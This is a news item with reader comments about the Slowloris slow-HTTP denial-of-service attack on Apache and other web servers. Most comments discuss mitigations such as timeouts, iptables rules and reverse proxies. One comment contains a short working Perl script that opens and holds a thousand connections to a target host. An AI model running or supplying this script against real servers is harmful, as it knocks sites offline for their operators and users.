Attack On a Significant Flaw In Apache Released

Zerimar points out a significant flaw in Apache that can lead to a fairly trivial DoS attack is in the wild. Apache 1.x, 2.x, dhttpd, GoAhead WebServer, and Squid are confirmed vulnerable, while IIS6.0, IIS7.0, and lighttpd are confirmed not vulnerable. As of this writing, Apache Foundation does not have a patch available. From Rsnake's introduction to the attack tool: "In considering the ramifications of a slow denial of service attack against particular services, rather than flooding networks, a concept emerged that would allow a single machine to take down another machine's web server with minimal bandwidth and side effects on unrelated services and ports. The ideal situation for many denial of service attacks is where all other services remain intact but the webserver itself is completely inaccessible. Slowloris was born from this concept, and is therefore relatively very stealthy compared to most flooding tools."

Comments

Re:Well its not just Apache

[The End Of Days]

You may have missed the 'not' in the summary there.

iptables helps

[samjam]

You can have perlbal or any reverse proxy on the same machine but listening on a different port and then use iptables to redirect like this

# iptables -t nat -A -PREROUTING -d ! 127.0.0.1 -p tcp -m tcp --dport 8080 -j REDIRECT --to-ports 80

and then you don't need to change your apache configuration - and having apache listen on a different port to what users see can break some scripted sites if they read the port number from the apache config.

Not a flaw, easily configured around

[Anonymous Coward]

http://httpd.apache.org/docs/2.2/mod/core.html#timeout

The issue is that the default configuration waits 5 minutes for the full request, which is painfully to long a period of time. Drop that from 300 to 5, and the "attack" goes away. If you are running the default Apache config in production, you shouldn't be.

Re:Not a flaw, easily configured around

[ID000001]

http://httpd.apache.org/docs/2.2/mod/core.html#timeout

The issue is that the default configuration waits 5 minutes for the full request, which is painfully to long a period of time. Drop that from 300 to 5, and the "attack" goes away. If you are running the default Apache config in production, you shouldn't be.

seem like a potential fix, can anyone confirm?

Re:Not a flaw, easily configured around

[Anonymous Coward]

Th work-around works fine.

I downloaded the Slowloris and was able to take down a default apache install, however with keepalive disabled and a timeout of 5, the attack became inneffective.

This may be a problem for sites with users that do long-running POSTs, but since we don't have any of those, all I can say is "It works here . . . "

For more info: http://httpd.apache.org/docs/trunk/misc/security_tips.html

HTTP hints at a solution

[greed]

HTTP 1.1 specifies a status code for "Request Timeout" (408) and "Gateway Timeout" (504).

What is needed, therefore, is a timer running for receiving the complete header, and a second one for accepting the body. The timer for the body can be controlled by the type of request and the Content-Length header. (With, of course, a specific cap.)

Currently, Apache 2.2 has a single timeout value for all types of requests, but it is interpreted differently for the different types.

If your server only handles GETs, the obvious thing is to crank that number down. Unfortunately, for PUTs, the TimeOut value affects inter-packet time in the request, not overall request time.

Strangely, the timeout doesn't seem to run in 2.2.10 and 2.2.11 before data is received. Oh dear. That's an even simpler DoS.

#!/usr/bin/env perl

use IO::Socket::INET;
use strict;
use constant DEFAULT_PORT => "http";

MAIN: {
if(@ARGV<1 or @ARGV>2) {
die "Usage: $0 host [port]\n";
}
my($host)=shift;
my($port)=@ARGV?shift:DEFAULT_PORT;

my(@sockets);

for(my $cnt=0;$cnt<1000;++$cnt) {
my $socket=new IO::Socket::INET(PeerAddr=>$host,
PeerPort=>$port,
Proto=>"tcp");
unless(defined($socket)) {
die "Cannot create socket to $host:$port--$!\n";
}
$socket->print("\r\n");
push(@sockets,$socket);
print " Have ".@sockets." open.\n";
}
}

Not quite as stealthy, though. At least as above.

Re:Why not IIS?

[Amouth]

unless you are using Session()'s in asp in IIS then one thread in IIS handles multiple connections.

what this is doing is opening a connection (getting a thread to work it) and holding it open (keeping the thread busy) and just keep asking for new ones.

it is very common (always i think) for Apache and allot of web servers to have a max thread's so that the site under heavy traffic doesn't open more connections than it can handle.

where IIS also has a worker thread limit - there is no limit *(you can set one - but not on by default) on how many concurrent connections can be managed by a thread (and new incoming connections are passed to the thread with the lowest current work load - not always the one with less connections)..

if you do what they are doing here i can see IIS behavior would be to slowly pile all these slow - no work connections into one thread and the others would happily go about doing actual work..

where apache would slowly lose access to workable threads as this keeps them busy.

this isn't an exploit on the http or tcp protocol - it is an exploit based on the behavior of the web server based on it's best practices for managing it.

Re:So slashdot...

[jamie]

We have a hardware load-balancer and a software reverse proxy (varnish) in front of our apache.

I kinda doubt this would work on us.

Note, I am not inviting anyone to try. It might work great for all I know :(

Re:WTH? This is an absolutely trivial attack

[dword]

Let me make this clearer for those that aren't very technical: It's holding an HTTP session open and Apache has a limited number of simultaneous HTTP sessions.
All someone has to do is send about 100 requests to your website and leave them open without sending any further information. Nobody else will be able to connect to your web server for a long time. The weekend is coming, so I'm expecting lots of downtime for government sites in the next couple of days...

Re:WTH? This is an absolutely trivial attack

[Xeriar]

A simple connlimit declaration in IPTables shuts this down fairly easily...

Re:Why not IIS?

[raju1kabir]

if you have it set to "any avaliable ip" and the box has 2 ip's your client may request data on IPA:80 and get a reply from IPB:port

If a client sends a SYN to 10.1.1.1:80 and gets an SYN-ACK from 10.5.5.5:80 then the client will not associate the two as being related, and will keep waiting for a response from 10.1.1.1:80 until timing out.

You would need to have some sort of DNS arrangement that encouraged clients to make their requests to your various IPs. You can't just respond from a different IP than the client contacted.

Re:WTH? This is an absolutely trivial attack

[amicusNYCL]

Not really, it just means you need more than one attacker.

Link to the specific article

[Megane]

If you're going to post links to isc.sans.org, can you please post links to the specific article, and not just the main page?

Here is the link to the specific article: http://isc.sans.org/diary.html?storyid=6601